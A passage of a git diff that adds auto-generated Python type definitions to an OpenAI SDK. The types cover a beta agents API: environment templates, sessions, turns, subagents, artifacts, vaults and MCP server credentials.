+ access: Required[Literal["enabled", "disabled", "restricted"]]
+ """The environment's network access mode.
+
+ - `enabled` - Allows unrestricted network access, matching an omitted network
+ policy.
+ - `disabled` - Disables network access.
+ - `restricted` - Allows access only to configured domains.
+ """
+
+ allowed_domains: Optional[SequenceNotStr[str]]
+ """Domains the environment may access when network access is restricted."""
+
+
+class Packages(TypedDict, total=False):
+ """Packages to install in an OpenAI-hosted environment."""
+
+ npm: Optional[SequenceNotStr[str]]
+ """npm packages to install globally. Defaults to an empty list."""
+
+ python: Optional[SequenceNotStr[str]]
+ """Python packages to install. Defaults to an empty list."""
+
+ system: Optional[SequenceNotStr[str]]
+ """System packages to install. Defaults to an empty list."""
diff --git a/src/openai/types/beta/agents/environments/template_list_params.py b/src/openai/types/beta/agents/environments/template_list_params.py
new file mode 100644
index 0000000000..c20e70a20a
--- /dev/null
+++ b/src/openai/types/beta/agents/environments/template_list_params.py
@@ -0,0 +1,22 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing_extensions import Literal, TypedDict
+
+__all__ = ["TemplateListParams"]
+
+
+class TemplateListParams(TypedDict, total=False):
+ after: str
+ """Return resources after this resource ID in the selected order."""
+
+ limit: int
+ """The maximum number of resources to return, between 1 and 100. Defaults to 20."""
+
+ order: Literal["asc", "desc"]
+ """The order in which resources are returned. Defaults to `desc`.
+
+ - `asc` - Returns resources in ascending order.
+ - `desc` - Returns resources in descending order.
+ """
diff --git a/src/openai/types/beta/agents/environments/template_update_params.py b/src/openai/types/beta/agents/environments/template_update_params.py
new file mode 100644
index 0000000000..09a7d973ad
--- /dev/null
+++ b/src/openai/types/beta/agents/environments/template_update_params.py
@@ -0,0 +1,72 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Dict, Iterable, Optional
+from typing_extensions import Literal, Required, TypedDict
+
+from ....._types import SequenceNotStr
+from ...hosted_skill_param import HostedSkillParam
+from ...hosted_plugin_param import HostedPluginParam
+from ...setup_command_param import SetupCommandParam
+from ...hosted_environment_file_param import HostedEnvironmentFileParam
+
+__all__ = ["TemplateUpdateParams", "Network", "Packages"]
+
+
+class TemplateUpdateParams(TypedDict, total=False):
+ capability_directories: Optional[SequenceNotStr[str]]
+ """Directories that expose capabilities to the agent."""
+
+ env: Optional[Dict[str, str]]
+ """Replacement confidential environment values."""
+
+ files: Optional[Iterable[HostedEnvironmentFileParam]]
+ """Replacement file configuration materialized for each new session."""
+
+ name: Optional[str]
+ """A replacement human-readable display name, or `null` to clear the name."""
+
+ network: Optional[Network]
+ """Network access for an OpenAI-hosted environment."""
+
+ packages: Optional[Packages]
+ """Packages to install in an OpenAI-hosted environment."""
+
+ plugins: Optional[Iterable[HostedPluginParam]]
+ """Replacement plugin configuration installed for each new session."""
+
+ setup_commands: Optional[Iterable[SetupCommandParam]]
+ """Replacement confidential setup commands, never included in returned resources."""
+
+ skills: Optional[Iterable[HostedSkillParam]]
+ """Replacement skill configuration installed for each new session."""
+
+
+class Network(TypedDict, total=False):
+ """Network access for an OpenAI-hosted environment."""
+
+ access: Required[Literal["enabled", "disabled", "restricted"]]
+ """The environment's network access mode.
+
+ - `enabled` - Allows unrestricted network access, matching an omitted network
+ policy.
+ - `disabled` - Disables network access.
+ - `restricted` - Allows access only to configured domains.
+ """
+
+ allowed_domains: Optional[SequenceNotStr[str]]
+ """Domains the environment may access when network access is restricted."""
+
+
+class Packages(TypedDict, total=False):
+ """Packages to install in an OpenAI-hosted environment."""
+
+ npm: Optional[SequenceNotStr[str]]
+ """npm packages to install globally. Defaults to an empty list."""
+
+ python: Optional[SequenceNotStr[str]]
+ """Python packages to install. Defaults to an empty list."""
+
+ system: Optional[SequenceNotStr[str]]
+ """System packages to install. Defaults to an empty list."""
diff --git a/src/openai/types/beta/agents/session_create_params.py b/src/openai/types/beta/agents/session_create_params.py
new file mode 100644
index 0000000000..6271c6beb1
--- /dev/null
+++ b/src/openai/types/beta/agents/session_create_params.py
@@ -0,0 +1,97 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Dict, Union, Iterable, Optional
+from typing_extensions import Literal, Required, TypedDict
+
+from ...._types import SequenceNotStr
+from ..agent_text_param import AgentTextParam
+from ..agent_tool_param import AgentToolParam
+from ..environment_param import EnvironmentParam
+from ..agent_reasoning_param import AgentReasoningParam
+from ..multi_agent_config_param import MultiAgentConfigParam
+from ..agent_session_input_message_param import AgentSessionInputMessageParam
+
+__all__ = ["SessionCreateParamsBase", "Agent", "SessionCreateParamsNonStreaming", "SessionCreateParamsStreaming"]
+
+
+class SessionCreateParamsBase(TypedDict, total=False):
+ environment: Required[EnvironmentParam]
+ """An inline execution environment or a reference to an environment template."""
+
+ agent: Agent
+ """Agent configuration.
+
+ With `agent_id`, supplied fields override the saved agent for this session.
+ Without `agent_id`, `model` is required.
+ """
+
+ agent_id: str
+ """The ID of a saved reusable agent.
+
+ Omit `agent` to use its configuration unchanged.
+ """
+
+ input: Union[str, Iterable[AgentSessionInputMessageParam], None]
+ """Initial input submitted when creating a session."""
+
+ metadata: Optional[Dict[str, str]]
+ """
+ Up to 16 string key-value pairs, with keys up to 64 and values up to 512
+ characters. Omission or null defaults to an empty map.
+ """
+
+ vault_ids: Optional[SequenceNotStr[str]]
+ """The IDs of vaults made available to the session."""
+
+
+class Agent(TypedDict, total=False):
+ """Agent configuration.
+
+ With `agent_id`, supplied fields override the saved agent for this session. Without `agent_id`, `model` is required.
+ """
+
+ instructions: Optional[str]
+ """Additional instructions appended to the agent's default base instructions.
+
+ Omit to leave unchanged.
+ """
+
+ model: str
+ """The model to use for the agent. The requested model name is preserved."""
+
+ multi_agent: Optional[MultiAgentConfigParam]
+ """Explicit configuration for creating and coordinating subagents."""
+
+ reasoning: Optional[AgentReasoningParam]
+ """Reasoning configuration for the agent."""
+
+ service_tier: Optional[Literal["auto", "default", "flex", "priority", "fast"]]
+ """The service tier used for model requests.
+
+ - `auto` - Selects the service tier automatically.
+ - `default` - Uses the default service tier.
+ - `flex` - Uses the flex service tier.
+ - `priority` - Uses the priority service tier.
+ - `fast` - Uses the fast service tier.
+ """
+
+ text: Optional[AgentTextParam]
+ """Configuration for text generated by the agent."""
+
+ tools: Optional[Iterable[AgentToolParam]]
+ """Tools available to the agent. Omit to inherit, or pass null to clear them."""
+
+
+class SessionCreateParamsNonStreaming(SessionCreateParamsBase, total=False):
+ stream: Literal[False]
+ """Whether to stream session events as server-sent events. Defaults to `false`."""
+
+
+class SessionCreateParamsStreaming(SessionCreateParamsBase):
+ stream: Required[Literal[True]]
+ """Whether to stream session events as server-sent events. Defaults to `false`."""
+
+
+SessionCreateParams = Union[SessionCreateParamsNonStreaming, SessionCreateParamsStreaming]
diff --git a/src/openai/types/beta/agents/session_list_params.py b/src/openai/types/beta/agents/session_list_params.py
new file mode 100644
index 0000000000..14579b517c
--- /dev/null
+++ b/src/openai/types/beta/agents/session_list_params.py
@@ -0,0 +1,32 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Optional
+from typing_extensions import Literal, TypedDict
+
+__all__ = ["SessionListParams"]
+
+
+class SessionListParams(TypedDict, total=False):
+ after: str
+ """Return resources after this resource ID in the selected order."""
+
+ agent_id: str
+ """Only return sessions whose root agent has this ID.
+
+ Omit to return sessions for all agents.
+ """
+
+ limit: Optional[int]
+ """The maximum number of resources to return."""
+
+ order: Literal["asc", "desc"]
+ """Sort order by the `created_at` timestamp.
+
+ Use `asc` for ascending order or `desc` for descending order. Defaults to
+ `desc`.
+
+ - `asc` - Returns resources in ascending order.
+ - `desc` - Returns resources in descending order.
+ """
diff --git a/src/openai/types/beta/agents/session_update_params.py b/src/openai/types/beta/agents/session_update_params.py
new file mode 100644
index 0000000000..3135a94271
--- /dev/null
+++ b/src/openai/types/beta/agents/session_update_params.py
@@ -0,0 +1,17 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Dict, Optional
+from typing_extensions import TypedDict
+
+__all__ = ["SessionUpdateParams"]
+
+
+class SessionUpdateParams(TypedDict, total=False):
+ metadata: Optional[Dict[str, str]]
+ """Replaces all metadata.
+
+ Omit to leave unchanged, or pass null or {} to clear it. Up to 16 string
+ key-value pairs, with keys up to 64 and values up to 512 characters.
+ """
diff --git a/src/openai/types/beta/agents/sessions/__init__.py b/src/openai/types/beta/agents/sessions/__init__.py
new file mode 100644
index 0000000000..ae2fda1b42
--- /dev/null
+++ b/src/openai/types/beta/agents/sessions/__init__.py
@@ -0,0 +1,12 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from .turn import Turn as Turn
+from .item_list_params import ItemListParams as ItemListParams
+from .session_artifact import SessionArtifact as SessionArtifact
+from .turn_list_params import TurnListParams as TurnListParams
+from .event_create_params import EventCreateParams as EventCreateParams
+from .artifact_list_params import ArtifactListParams as ArtifactListParams
+from .subagent_list_params import SubagentListParams as SubagentListParams
+from .session_artifact_deleted import SessionArtifactDeleted as SessionArtifactDeleted
diff --git a/src/openai/types/beta/agents/sessions/artifact_list_params.py b/src/openai/types/beta/agents/sessions/artifact_list_params.py
new file mode 100644
index 0000000000..e7cc236978
--- /dev/null
+++ b/src/openai/types/beta/agents/sessions/artifact_list_params.py
@@ -0,0 +1,26 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Optional
+from typing_extensions import Literal, TypedDict
+
+__all__ = ["ArtifactListParams"]
+
+
+class ArtifactListParams(TypedDict, total=False):
+ after: Optional[str]
+ """Return artifacts after this immutable artifact ID."""
+
+ environment_id: Optional[str]
+ """Restrict the listing to artifacts produced by this environment."""
+
+ limit: Optional[int]
+ """The maximum number of artifacts to return, between 1 and 100."""
+
+ order: Literal["asc", "desc"]
+ """Sort by creation time and ID. Defaults to descending.
+
+ - `asc` - Returns resources in ascending order.
+ - `desc` - Returns resources in descending order.
+ """
diff --git a/src/openai/types/beta/agents/sessions/event_create_params.py b/src/openai/types/beta/agents/sessions/event_create_params.py
new file mode 100644
index 0000000000..11b087c801
--- /dev/null
+++ b/src/openai/types/beta/agents/sessions/event_create_params.py
@@ -0,0 +1,18 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Iterable
+from typing_extensions import Required, Annotated, TypedDict
+
+from ....._utils import PropertyInfo
+from ...agent_session_input_param import AgentSessionInputParam
+
+__all__ = ["EventCreateParams"]
+
+
+class EventCreateParams(TypedDict, total=False):
+ events: Required[Iterable[AgentSessionInputParam]]
+ """The input events to submit to the session."""
+
+ idempotency_key: Annotated[str, PropertyInfo(alias="Idempotency-Key")]
diff --git a/src/openai/types/beta/agents/sessions/item_list_params.py b/src/openai/types/beta/agents/sessions/item_list_params.py
new file mode 100644
index 0000000000..26b461d6ea
--- /dev/null
+++ b/src/openai/types/beta/agents/sessions/item_list_params.py
@@ -0,0 +1,22 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing_extensions import Literal, TypedDict
+
+__all__ = ["ItemListParams"]
+
+
+class ItemListParams(TypedDict, total=False):
+ after: str
+ """Return resources after this resource ID in the selected order."""
+
+ limit: int
+ """The maximum number of resources to return, between 1 and 100. Defaults to 20."""
+
+ order: Literal["asc", "desc"]
+ """The order in which resources are returned. Defaults to `desc`.
+
+ - `asc` - Returns resources in ascending order.
+ - `desc` - Returns resources in descending order.
+ """
diff --git a/src/openai/types/beta/agents/sessions/session_artifact.py b/src/openai/types/beta/agents/sessions/session_artifact.py
new file mode 100644
index 0000000000..58442a49cb
--- /dev/null
+++ b/src/openai/types/beta/agents/sessions/session_artifact.py
@@ -0,0 +1,35 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ....._models import BaseModel
+
+__all__ = ["SessionArtifact"]
+
+
+class SessionArtifact(BaseModel):
+ """An immutable file published by a completed hosted session turn."""
+
+ id: str
+ """The immutable artifact ID."""
+
+ created_at: int
+ """The Unix timestamp, in seconds, when the artifact was published."""
+
+ environment_id: str
+ """The ID of the environment that produced the artifact."""
+
+ object: Literal["agent.session.artifact"]
+ """The object type. Always `agent.session.artifact`."""
+
+ path: str
+ """The original absolute file path in the execution environment."""
+
+ session_id: str
+ """The ID of the session that owns the artifact."""
+
+ size_bytes: int
+ """The immutable artifact size in bytes."""
+
+ turn_id: str
+ """The ID of the completed turn that published the artifact."""
diff --git a/src/openai/types/beta/agents/sessions/session_artifact_deleted.py b/src/openai/types/beta/agents/sessions/session_artifact_deleted.py
new file mode 100644
index 0000000000..57d744b284
--- /dev/null
+++ b/src/openai/types/beta/agents/sessions/session_artifact_deleted.py
@@ -0,0 +1,20 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ....._models import BaseModel
+
+__all__ = ["SessionArtifactDeleted"]
+
+
+class SessionArtifactDeleted(BaseModel):
+ """Confirmation that an immutable session artifact was deleted."""
+
+ id: str
+ """The ID of the deleted session artifact."""
+
+ deleted: bool
+ """Whether the session artifact was deleted. Always `true`."""
+
+ object: Literal["agent.session.artifact.deleted"]
+ """The object type. Always `agent.session.artifact.deleted`."""
diff --git a/src/openai/types/beta/agents/sessions/subagent_list_params.py b/src/openai/types/beta/agents/sessions/subagent_list_params.py
new file mode 100644
index 0000000000..8c777440d0
--- /dev/null
+++ b/src/openai/types/beta/agents/sessions/subagent_list_params.py
@@ -0,0 +1,22 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing_extensions import Literal, TypedDict
+
+__all__ = ["SubagentListParams"]
+
+
+class SubagentListParams(TypedDict, total=False):
+ after: str
+ """Return resources after this resource ID in the selected order."""
+
+ limit: int
+ """The maximum number of resources to return, between 1 and 100. Defaults to 20."""
+
+ order: Literal["asc", "desc"]
+ """The order in which resources are returned. Defaults to `desc`.
+
+ - `asc` - Returns resources in ascending order.
+ - `desc` - Returns resources in descending order.
+ """
diff --git a/src/openai/types/beta/agents/sessions/subagents/__init__.py b/src/openai/types/beta/agents/sessions/subagents/__init__.py
new file mode 100644
index 0000000000..dc5573fd74
--- /dev/null
+++ b/src/openai/types/beta/agents/sessions/subagents/__init__.py
@@ -0,0 +1,6 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from .item_list_params import ItemListParams as ItemListParams
+from .turn_list_params import TurnListParams as TurnListParams
diff --git a/src/openai/types/beta/agents/sessions/subagents/item_list_params.py b/src/openai/types/beta/agents/sessions/subagents/item_list_params.py
new file mode 100644
index 0000000000..cd1a5fb1bd
--- /dev/null
+++ b/src/openai/types/beta/agents/sessions/subagents/item_list_params.py
@@ -0,0 +1,24 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing_extensions import Literal, Required, TypedDict
+
+__all__ = ["ItemListParams"]
+
+
+class ItemListParams(TypedDict, total=False):
+ session_id: Required[str]
+
+ after: str
+ """Return resources after this resource ID in the selected order."""
+
+ limit: int
+ """The maximum number of resources to return, between 1 and 100. Defaults to 20."""
+
+ order: Literal["asc", "desc"]
+ """The order in which resources are returned. Defaults to `desc`.
+
+ - `asc` - Returns resources in ascending order.
+ - `desc` - Returns resources in descending order.
+ """
diff --git a/src/openai/types/beta/agents/sessions/subagents/turn_list_params.py b/src/openai/types/beta/agents/sessions/subagents/turn_list_params.py
new file mode 100644
index 0000000000..e49581f474
--- /dev/null
+++ b/src/openai/types/beta/agents/sessions/subagents/turn_list_params.py
@@ -0,0 +1,24 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing_extensions import Literal, Required, TypedDict
+
+__all__ = ["TurnListParams"]
+
+
+class TurnListParams(TypedDict, total=False):
+ session_id: Required[str]
+
+ after: str
+ """Return resources after this resource ID in the selected order."""
+
+ limit: int
+ """The maximum number of resources to return, between 1 and 100. Defaults to 20."""
+
+ order: Literal["asc", "desc"]
+ """The order in which resources are returned. Defaults to `desc`.
+
+ - `asc` - Returns resources in ascending order.
+ - `desc` - Returns resources in descending order.
+ """
diff --git a/src/openai/types/beta/agents/sessions/subagents/turns/__init__.py b/src/openai/types/beta/agents/sessions/subagents/turns/__init__.py
new file mode 100644
index 0000000000..d630e30ff8
--- /dev/null
+++ b/src/openai/types/beta/agents/sessions/subagents/turns/__init__.py
@@ -0,0 +1,5 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from .item_list_params import ItemListParams as ItemListParams
diff --git a/src/openai/types/beta/agents/sessions/subagents/turns/item_list_params.py b/src/openai/types/beta/agents/sessions/subagents/turns/item_list_params.py
new file mode 100644
index 0000000000..d7522d7a2d
--- /dev/null
+++ b/src/openai/types/beta/agents/sessions/subagents/turns/item_list_params.py
@@ -0,0 +1,26 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing_extensions import Literal, Required, TypedDict
+
+__all__ = ["ItemListParams"]
+
+
+class ItemListParams(TypedDict, total=False):
+ session_id: Required[str]
+
+ subagent_id: Required[str]
+
+ after: str
+ """Return resources after this resource ID in the selected order."""
+
+ limit: int
+ """The maximum number of resources to return, between 1 and 100. Defaults to 20."""
+
+ order: Literal["asc", "desc"]
+ """The order in which resources are returned. Defaults to `desc`.
+
+ - `asc` - Returns resources in ascending order.
+ - `desc` - Returns resources in descending order.
+ """
diff --git a/src/openai/types/beta/agents/sessions/turn.py b/src/openai/types/beta/agents/sessions/turn.py
new file mode 100644
index 0000000000..1cfa3892ec
--- /dev/null
+++ b/src/openai/types/beta/agents/sessions/turn.py
@@ -0,0 +1,62 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ....._models import BaseModel
+from ...token_usage import TokenUsage
+from ...session_turn_error import SessionTurnError
+
+__all__ = ["Turn"]
+
+
+class Turn(BaseModel):
+ """The canonical public representation of a session turn."""
+
+ id: str
+ """The ID of the turn."""
+
+ agent_id: str
+ """The ID of the agent that ran the turn."""
+
+ completed_at: Optional[int] = None
+ """The Unix timestamp, in seconds, when the turn reached a terminal state."""
+
+ created_at: int
+ """The Unix timestamp, in seconds, used to order the turn by creation time.
+
+ Subagent turns use their start time, falling back to completion time or the
+ subagent opening time when the preceding timestamps are unavailable.
+ """
+
+ error: Optional[SessionTurnError] = None
+ """A customer-safe error describing why a session request failed."""
+
+ object: Literal["agent.session.turn"]
+ """The object type. Always `agent.session.turn`."""
+
+ session_id: str
+ """The ID of the session that owns the turn."""
+
+ started_at: Optional[int] = None
+ """The Unix timestamp, in seconds, when the turn started."""
+
+ status: Literal["queued", "in_progress", "waiting", "completed", "failed", "cancelled"]
+ """The current status of the turn.
+
+ - `queued` - The turn is waiting to start.
+ - `in_progress` - The turn is in progress.
+ - `waiting` - The turn is waiting for external input.
+ - `completed` - The turn completed successfully.
+ - `failed` - The turn failed.
+ - `cancelled` - The turn was cancelled.
+ """
+
+ subagent_id: Optional[str] = None
+ """The ID of the subagent that ran the turn, if applicable."""
+
+ usage: Optional[TokenUsage] = None
+ """Recorded token usage for a session or turn.
+
+ Usage is best effort and may change.
+ """
diff --git a/src/openai/types/beta/agents/sessions/turn_list_params.py b/src/openai/types/beta/agents/sessions/turn_list_params.py
new file mode 100644
index 0000000000..be51516c51
--- /dev/null
+++ b/src/openai/types/beta/agents/sessions/turn_list_params.py
@@ -0,0 +1,22 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing_extensions import Literal, TypedDict
+
+__all__ = ["TurnListParams"]
+
+
+class TurnListParams(TypedDict, total=False):
+ after: str
+ """Return resources after this resource ID in the selected order."""
+
+ limit: int
+ """The maximum number of resources to return, between 1 and 100. Defaults to 20."""
+
+ order: Literal["asc", "desc"]
+ """The order in which resources are returned. Defaults to `desc`.
+
+ - `asc` - Returns resources in ascending order.
+ - `desc` - Returns resources in descending order.
+ """
diff --git a/src/openai/types/beta/agents/vault.py b/src/openai/types/beta/agents/vault.py
new file mode 100644
index 0000000000..c686b39011
--- /dev/null
+++ b/src/openai/types/beta/agents/vault.py
@@ -0,0 +1,32 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Dict, Optional
+from typing_extensions import Literal
+
+from ...._models import BaseModel
+
+__all__ = ["Vault"]
+
+
+class Vault(BaseModel):
+ """
+ A collection of credentials that agent tools can use to authenticate to MCP servers.
+ """
+
+ id: str
+ """The ID of the vault."""
+
+ created_at: int
+ """The Unix timestamp, in seconds, when the vault was created."""
+
+ metadata: Dict[str, str]
+ """
+ Key-value pairs associated with the vault, such as an application or team
+ identifier.
+ """
+
+ name: Optional[str] = None
+ """The human-readable name of the vault, if set."""
+
+ object: Literal["vault"]
+ """The object type. Always `vault`."""
diff --git a/src/openai/types/beta/agents/vault_create_params.py b/src/openai/types/beta/agents/vault_create_params.py
new file mode 100644
index 0000000000..3bd66a99fe
--- /dev/null
+++ b/src/openai/types/beta/agents/vault_create_params.py
@@ -0,0 +1,22 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Dict, Optional
+from typing_extensions import TypedDict
+
+__all__ = ["VaultCreateParams"]
+
+
+class VaultCreateParams(TypedDict, total=False):
+ metadata: Optional[Dict[str, str]]
+ """
+ Key-value pairs to associate with the vault, such as an application or team
+ identifier.
+ """
+
+ name: str
+ """The name is trimmed before storage.
+
+ It must contain 1 to 256 UTF-8 bytes after trimming.
+ """
diff --git a/src/openai/types/beta/agents/vault_deleted.py b/src/openai/types/beta/agents/vault_deleted.py
new file mode 100644
index 0000000000..9beb82a9b4
--- /dev/null
+++ b/src/openai/types/beta/agents/vault_deleted.py
@@ -0,0 +1,20 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ...._models import BaseModel
+
+__all__ = ["VaultDeleted"]
+
+
+class VaultDeleted(BaseModel):
+ """Confirmation that a vault was deleted."""
+
+ id: str
+ """The ID of the deleted vault."""
+
+ deleted: bool
+ """Whether the resource was deleted. Always `true`."""
+
+ object: Literal["vault.deleted"]
+ """The object type. Always `vault.deleted`."""
diff --git a/src/openai/types/beta/agents/vault_list_params.py b/src/openai/types/beta/agents/vault_list_params.py
new file mode 100644
index 0000000000..72bb8c5c56
--- /dev/null
+++ b/src/openai/types/beta/agents/vault_list_params.py
@@ -0,0 +1,37 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Optional
+from typing_extensions import Literal, TypedDict
+
+from .vault_status_filter_param import VaultStatusFilterParam
+
+__all__ = ["VaultListParams"]
+
+
+class VaultListParams(TypedDict, total=False):
+ after: str
+ """Return resources after this resource ID in the selected order."""
+
+ limit: Optional[int]
+ """The maximum number of resources to return.
+
+ Defaults to 20. Values are clamped between 1 and 100.
+ """
+
+ order: Literal["asc", "desc"]
+ """Sort order by the `created_at` timestamp.
+
+ Use `asc` for ascending order or `desc` for descending order. Defaults to
+ `desc`.
+
+ - `asc` - Returns resources in ascending order.
+ - `desc` - Returns resources in descending order.
+ """
+
+ status: VaultStatusFilterParam
+ """
+ Filter by one status or a list, such as `status=active` or
+ `status[]=active&status[]=archived`. Both statuses are included by default.
+ """
diff --git a/src/openai/types/beta/agents/vault_status.py b/src/openai/types/beta/agents/vault_status.py
new file mode 100644
index 0000000000..f5944734d1
--- /dev/null
+++ b/src/openai/types/beta/agents/vault_status.py
@@ -0,0 +1,7 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal, TypeAlias
+
+__all__ = ["VaultStatus"]
+
+VaultStatus: TypeAlias = Literal["active", "archived"]
diff --git a/src/openai/types/beta/agents/vault_status_filter_param.py b/src/openai/types/beta/agents/vault_status_filter_param.py
new file mode 100644
index 0000000000..a0017ef7d2
--- /dev/null
+++ b/src/openai/types/beta/agents/vault_status_filter_param.py
@@ -0,0 +1,12 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Union, Iterable
+from typing_extensions import TypeAlias
+
+from .vault_status import VaultStatus
+
+__all__ = ["VaultStatusFilterParam"]
+
+VaultStatusFilterParam: TypeAlias = Union[VaultStatus, Iterable[VaultStatus]]
diff --git a/src/openai/types/beta/agents/vaults/__init__.py b/src/openai/types/beta/agents/vaults/__init__.py
new file mode 100644
index 0000000000..2d341ef813
--- /dev/null
+++ b/src/openai/types/beta/agents/vaults/__init__.py
@@ -0,0 +1,19 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from .credential import Credential as Credential
+from .credential_auth import CredentialAuth as CredentialAuth
+from .credential_deleted import CredentialDeleted as CredentialDeleted
+from .credential_list_params import CredentialListParams as CredentialListParams
+from .credential_create_params import CredentialCreateParams as CredentialCreateParams
+from .credential_update_params import CredentialUpdateParams as CredentialUpdateParams
+from .credential_auth_create_param import CredentialAuthCreateParam as CredentialAuthCreateParam
+from .credential_auth_rotate_param import CredentialAuthRotateParam as CredentialAuthRotateParam
+from .mcp_oauth_token_endpoint_auth import McpOauthTokenEndpointAuth as McpOauthTokenEndpointAuth
+from .mcp_oauth_token_endpoint_auth_create_param import (
+ McpOauthTokenEndpointAuthCreateParam as McpOauthTokenEndpointAuthCreateParam,
+)
+from .mcp_oauth_token_endpoint_auth_rotate_param import (
+ McpOauthTokenEndpointAuthRotateParam as McpOauthTokenEndpointAuthRotateParam,
+)
diff --git a/src/openai/types/beta/agents/vaults/credential.py b/src/openai/types/beta/agents/vaults/credential.py
new file mode 100644
index 0000000000..38d425ae9a
--- /dev/null
+++ b/src/openai/types/beta/agents/vaults/credential.py
@@ -0,0 +1,33 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ....._models import BaseModel
+from .credential_auth import CredentialAuth
+
+__all__ = ["Credential"]
+
+
+class Credential(BaseModel):
+ """Metadata for a stored MCP server credential. Secret values are never returned."""
+
+ id: str
+ """The ID of the credential."""
+
+ auth: CredentialAuth
+ """The authentication method and non-secret configuration for the MCP server."""
+
+ created_at: int
+ """The Unix timestamp, in seconds, when the credential was created."""
+
+ name: str
+ """The human-readable name of the credential."""
+
+ object: Literal["vault.credential"]
+ """The object type. Always `vault.credential`."""
+
+ updated_at: int
+ """The Unix timestamp, in seconds, when the credential was last updated."""
+
+ vault_id: str
+ """The ID of the vault containing this credential."""
diff --git a/src/openai/types/beta/agents/vaults/credential_auth.py b/src/openai/types/beta/agents/vaults/credential_auth.py
new file mode 100644
index 0000000000..72f7d011b6
--- /dev/null
+++ b/src/openai/types/beta/agents/vaults/credential_auth.py
@@ -0,0 +1,78 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Union, Optional
+from typing_extensions import Literal, Annotated, TypeAlias
+
+from ....._utils import PropertyInfo
+from ....._models import BaseModel
+from .mcp_oauth_token_endpoint_auth import McpOauthTokenEndpointAuth
+
+__all__ = [
+ "CredentialAuth",
+ "VaultCredentialAuthResourceMcpOauth",
+ "VaultCredentialAuthResourceMcpOauthRefresh",
+ "VaultCredentialAuthResourceStaticBearer",
+]
+
+
+class VaultCredentialAuthResourceMcpOauthRefresh(BaseModel):
+ """
+ Configuration used to refresh an MCP OAuth access token, excluding secret values.
+ """
+
+ client_id: str
+ """The OAuth client ID used when requesting a new access token."""
+
+ resource: Optional[str] = None
+ """
+ The resource URI sent to the OAuth token endpoint during refresh, if configured.
+ """
+
+ scope: Optional[str] = None
+ """Space-separated OAuth scopes requested during refresh, if configured."""
+
+ token_endpoint: str
+ """The HTTPS OAuth token endpoint used for refresh."""
+
+ token_endpoint_auth: McpOauthTokenEndpointAuth
+ """
+ How the OAuth client authenticates to the token endpoint, excluding its client
+ secret.
+ """
+
+
+class VaultCredentialAuthResourceMcpOauth(BaseModel):
+ """
+ Public metadata for an OAuth credential; tokens and client secrets are never returned.
+ """
+
+ expires_at: Optional[str] = None
+ """When the OAuth access token expires, as an RFC 3339 timestamp, if known."""
+
+ mcp_server_url: str
+ """The HTTPS MCP server URL authorized by this credential."""
+
+ refresh: Optional[VaultCredentialAuthResourceMcpOauthRefresh] = None
+ """
+ Configuration used to refresh an MCP OAuth access token, excluding secret
+ values.
+ """
+
+ type: Literal["mcp_oauth"]
+ """The type of the object. Always `mcp_oauth`."""
+
+
+class VaultCredentialAuthResourceStaticBearer(BaseModel):
+ """Metadata for a bearer-token credential, without automatic OAuth refresh."""
+
+ mcp_server_url: str
+ """The HTTPS MCP server URL authorized by this credential."""
+
+ type: Literal["static_bearer"]
+ """The type of the object. Always `static_bearer`."""
+
+
+CredentialAuth: TypeAlias = Annotated[
+ Union[VaultCredentialAuthResourceMcpOauth, VaultCredentialAuthResourceStaticBearer],
+ PropertyInfo(discriminator="type"),
+]
diff --git a/src/openai/types/beta/agents/vaults/credential_auth_create_param.py b/src/openai/types/beta/agents/vaults/credential_auth_create_param.py
new file mode 100644
